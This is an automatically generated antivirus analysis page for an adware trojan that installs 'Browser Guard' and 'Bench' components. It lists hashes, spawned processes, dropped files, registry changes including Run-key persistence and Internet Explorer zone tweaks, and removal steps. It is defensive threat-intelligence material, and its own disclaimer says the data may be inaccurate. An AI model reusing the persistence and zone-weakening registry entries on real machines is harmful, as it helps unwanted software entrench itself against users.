Skip to main content

Trojan.NSIS.StartPage_d3720f9ab7


not-a-virus:AdWare.Win32.Agent.gvby (Kaspersky), Trojan.NSIS.StartPage.FD, Trojan.Win32.Swrort.3.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, Adware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: d3720f9ab79ae28c7c73702c158b8c20

SHA1: b65fdaa1f8e1521236f580110c7bf5516fd5b689

SHA256: 71fd8bd65bf718a7bd775c74890482a660434f04b2d433957313fd6e4ad414eb

SSDeep: 1536:sQrTiveAl8m4jPTPkHpK3GTVuKEhJ0SwFOa7KTOPvYoR0oD BC3KH7NeYRN4q8O:prevnG0gUShef7XQoR0i BC3K5eqf

Size: 119912 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2014-07-14 22:01:44

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

cscript.exe:612
cscript.exe:1560
cscript.exe:592
cscript.exe:1584
updater.exe:1280
updater.exe:1240
Updater.exe:460
net1.exe:204
%original file name%.exe:1736
net.exe:1488
wd.exe:456

The Trojan injects its code into the following process(es):

ins1.tmp.exe:908

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process updater.exe:1280 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%WinDir%\Tasks\bench-S-1-5-21-1844237615-1960408961-1801674531-1003.job (328 bytes)

The process updater.exe:1240 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\Bench\Updater\products.xml (431 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nswE.tmp (0 bytes)

The process Updater.exe:460 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%WinDir%\Tasks\bench-sys.job (328 bytes)

The process %original file name%.exe:1736 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\ins1.tmp.exe (194949 bytes)

The process ins1.tmp.exe:908 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns11.tmp (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\chrome_installer.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\canvas_content.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswD.tmp (274 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\storage.js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\messaging.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\install.rdf (1 bytes)
%Program Files%\Bench\BService\1.1\bservice.exe (480 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_bg.js (892 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\loader.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox_installer.js (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\extension_info.js (613 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\chrome.manifest (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\webrequest.js (6 bytes)
%Program Files%\Bench\Updater\updater.exe (1106 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\gpedit.exe (1231 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\button.png (482 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\i18n.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\api.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\console.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\invoke_async.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\systeminfo.js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\registry.js (707 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\installer.js (898 bytes)
%Program Files%\Bench\FService\1.1\fservice.exe (2865 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\framework_api.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns13.tmp (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\extension_info.json (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\background.html (157 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\chrome_windows.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\backgroundscript_engine.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\message_target.js (870 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\SoftwareDetector.exe (5016 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\systemreport.js (537 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\bootstrap.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\sqlite3.exe (18662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsProcess.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\md5.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\browser.js (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\core.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsExecCv.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\main_installer.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\pz_info (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\context_menu.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\timer.js (1 bytes)
%Program Files%\Bench\BService\1.1\bhelper.dll (2719 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsF.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_webrequest.js (129 bytes)
%Program Files%\Bench\FService\1.1\fhelper.dll (5261 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\migrate.js (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\includes\content_messaging.js (730 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\icon.ico (32 bytes)
%Program Files%\Bench\NmHost\manifest.json (117 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\includes\content_loader.js (906 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\chrome_workaround.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\xhr.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\canvas.js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\includes\content.js (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswE.tmp (593 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\repair.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon32.png (873 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_common.js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\notifications.js (797 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\io.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\browser_button.js (9 bytes)
%Program Files%\Bench\NmHost\nmhost.exe (4497 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon48.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsA.tmp (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\userscript_engine.js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\utils.js (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\projectInstaller.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\canvas.js (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon128.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\icon100.png (2 bytes)
%Program Files%\Bench\Wd\wd.exe (2432 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\jquery.min.js (4587 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\uninstall.js (76 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\invoke.js (406 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\info.xml (350 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns15.tmp (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\lang.js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsDownloadCv.dll (3483 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework-ui\options.js (1 bytes)
%Program Files%\Bench\Updater\1.7.0.0\updater.exe (10379 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_browseraction.js (822 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns11.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsA.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse12.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\nsF.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp16.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx10.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf14.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns13.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns15.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsuB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqC.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl4.tmp (0 bytes)

Registry activity

The process cscript.exe:612 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CD DA 31 7D 99 D0 04 AA 6D 1D 64 A1 6F EE 63 8A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Browser Guard]
"czoneid" = "12199"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process cscript.exe:1560 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E 0A 62 AF 13 2B A0 3B 01 A0 38 C8 93 D8 D4 28"

The process cscript.exe:592 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "72 2D 64 48 E9 DD 8E 8C 67 11 F5 F0 93 64 1F E2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process cscript.exe:1584 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6A E7 CA 5E 95 AA D2 6B 99 DE 24 FE B2 6E 0B E3"

[HKLM\SOFTWARE\Bench\InstalledExtensions]
"38987" = ""

The process updater.exe:1280 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DF 71 46 4A EA F4 45 EA DC 93 01 78 3B 26 03 51"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process updater.exe:1240 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8C 4B CF 55 0B C6 2C E4 13 C3 DC AA 4D D7 72 98"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process Updater.exe:460 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 3E 25 61 B7 36 E8 96 9E 1A 75 A7 4A B4 0E C8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process net1.exe:204 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 81 3C 73 94 80 49 AB F5 91 DC 3F EF BF 83 C5"

The process %original file name%.exe:1736 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CA B1 CB 30 A6 50 6D 4C B3 E0 5B B3 DB 06 E4 85"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"ins1.tmp.exe" = "ins1.tmp"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process net.exe:1488 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8F 97 FF 2B 14 A0 7E 39 76 DB 6A 2B F1 99 B5 B5"

The process wd.exe:456 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "42 C3 38 BC 05 56 7D 90 DD 05 A8 2C 57 45 DA 28"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process ins1.tmp.exe:908 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Bench\FService\38987]
"{0BD111CC-7443-94B6-98B9-817B828B3804}" = ""

[HKLM\SOFTWARE\Bench\NmHost]
"(Default)" = "%Program Files%\Bench\NmHost\nmhost.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Bench\FService]
"Path" = "%Program Files%\Bench\FService\1.1"

[HKLM\SOFTWARE\AdvertisingSupport]
"Seen" = "1"

[HKLM\SOFTWARE\Browser Guard]
"SystemId" = "4433e0bcf600ea79ca332930e87765a0"
"InstallTime" = "1461742877"

[HKLM\SOFTWARE\Bench\FService]
"Version" = "1.1"

[HKLM\SOFTWARE]
"38987" = "Browser Guard"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Browser Guard]
"Seen" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\AdvertisingSupport]
"SystemId" = "4433e0bcf600ea79ca332930e87765a0"

[HKLM\SOFTWARE\Bench\NmHost\38987]
"(Default)" = ""

[HKLM\SOFTWARE\Browser Guard]
"CDN" = "browserguard-a.akamaihd.net"

"PID" = "2016"

[HKLM\SOFTWARE\Bench\Updater\38987]
"(Default)" = ""

[HKLM\SOFTWARE\Bench\Wd\38987]
"(Default)" = ""

[HKLM\SOFTWARE\Bench\BService]
"Path" = "%Program Files%\Bench\BService\1.1"

[HKLM\SOFTWARE\Bench\Updater]
"Path" = "%Program Files%\Bench\Updater\updater.exe"

[HKLM\SOFTWARE\Bench\BService]
"Version" = "1.1"

[HKLM\SOFTWARE\Bench\BService\38987]
"(Default)" = ""

[HKLM\SOFTWARE\Browser Guard]
"ZoneId" = "695230"

[HKLM\SOFTWARE\Bench\FService\38987]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "42 CA 7E 9C AC BC 51 9E 21 90 65 7A 0F A0 75 A5"

[HKLM\SOFTWARE\Google\Chrome\NativeMessagingHosts\com.bench.nmhost]
"(Default)" = "%Program Files%\Bench\NmHost\manifest.json"

[HKLM\SOFTWARE\Browser Guard]
"straoi" = "apr 27, 2016"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\AdvertisingSupport]
"SeenDate" = "1461732077"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Browser Guard]
"SeenDate" = "1461732077"
"(Default)" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard"
"UTCInstallTime" = "1461732077"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"BService" = "%Program Files%\Bench\BService\1.1\bservice.exe"

"FService" = "%Program Files%\Bench\FService\1.1\fservice.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"Browser Guard-repairJob" = "wscript.exe %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\repair.js Browser Guard-repairJob"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WD" = "%Program Files%\Bench\Wd\wd.exe"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Browser Guard]
"Seen"

[HKLM\SOFTWARE\AdvertisingSupport]
"Seen"

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Wd"

"Browser Guard-repairJob"

Dropped PE files

MD5 File path
ba251b19a0dcbcde8f910dc97dd5074fc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\Browser Guard\SoftwareDetector.exe
2796990b18b323edd2446efec850a354c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\Browser Guard\gpedit.exe
82771129b12517cf5c6e2244d14e8360c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Application Data\Browser Guard\sqlite3.exe
bc04727727babdc4e9ce528982483419c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ins1.tmp.exe
c17103ae9072a06da581dec998343fc1c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nse3.tmp\System.dll
0745ff646f5af1f1cdd784c06f40fce9c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nse3.tmp\md5dll.dll
f8015cfe53598e99ae8c45527b544a61c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nse3.tmp\nsDownloadCv.dll
acc2b699edfea5bf5aae45aba3a41e96c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nse3.tmp\nsExec.dll
0a62c650dd6ce2cd306f9063bed404afc:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nse3.tmp\nsExecCv.dll
05450face243b3a7472407b999b03a72c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nse3.tmp\nsProcess.dll
8e4be86a6eb429ec81eda3e027d0d29dc:\Program Files\Bench\BService\1.1\bhelper.dll
e52deb34958a6b9c9defd04072ba320cc:\Program Files\Bench\BService\1.1\bservice.exe
5820ed0b943181e5c0cd842d73698d60c:\Program Files\Bench\NmHost\nmhost.exe
729975e07ead4a4b14d020c2bb446833c:\Program Files\Bench\Updater\1.7.0.0\updater.exe
27862bc4eb31d1e68b866a9f32c87fd4c:\Program Files\Bench\Updater\updater.exe
b361e5282cbdd81b2222a3fe60f20b40c:\Program Files\Bench\Wd\wd.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    cscript.exe:612
    cscript.exe:1560
    cscript.exe:592
    cscript.exe:1584
    updater.exe:1280
    updater.exe:1240
    Updater.exe:460
    net1.exe:204
    %original file name%.exe:1736
    net.exe:1488
    wd.exe:456

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %WinDir%\Tasks\bench-S-1-5-21-1844237615-1960408961-1801674531-1003.job (328 bytes)
    %Program Files%\Bench\Updater\products.xml (431 bytes)
    %WinDir%\Tasks\bench-sys.job (328 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\ins1.tmp.exe (194949 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\ns11.tmp (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\chrome_installer.js (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\canvas_content.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nswD.tmp (274 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\md5dll.dll (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\storage.js (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\messaging.js (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\install.rdf (1 bytes)
    %Program Files%\Bench\BService\1.1\bservice.exe (480 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\AppFramework\appAPI_bg.js (892 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\loader.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox_installer.js (7 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\extension_info.js (613 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\chrome.manifest (57 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\CanvasFramework\webrequest.js (6 bytes)
    %Program Files%\Bench\Updater\updater.exe (1106 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\gpedit.exe (1231 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\icons\button.png (482 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\i18n.js (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\api.js (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\console.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\firefox\framework\invoke_async.js (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Application Data\Browser Guard\systeminfo.js (4 bytes)
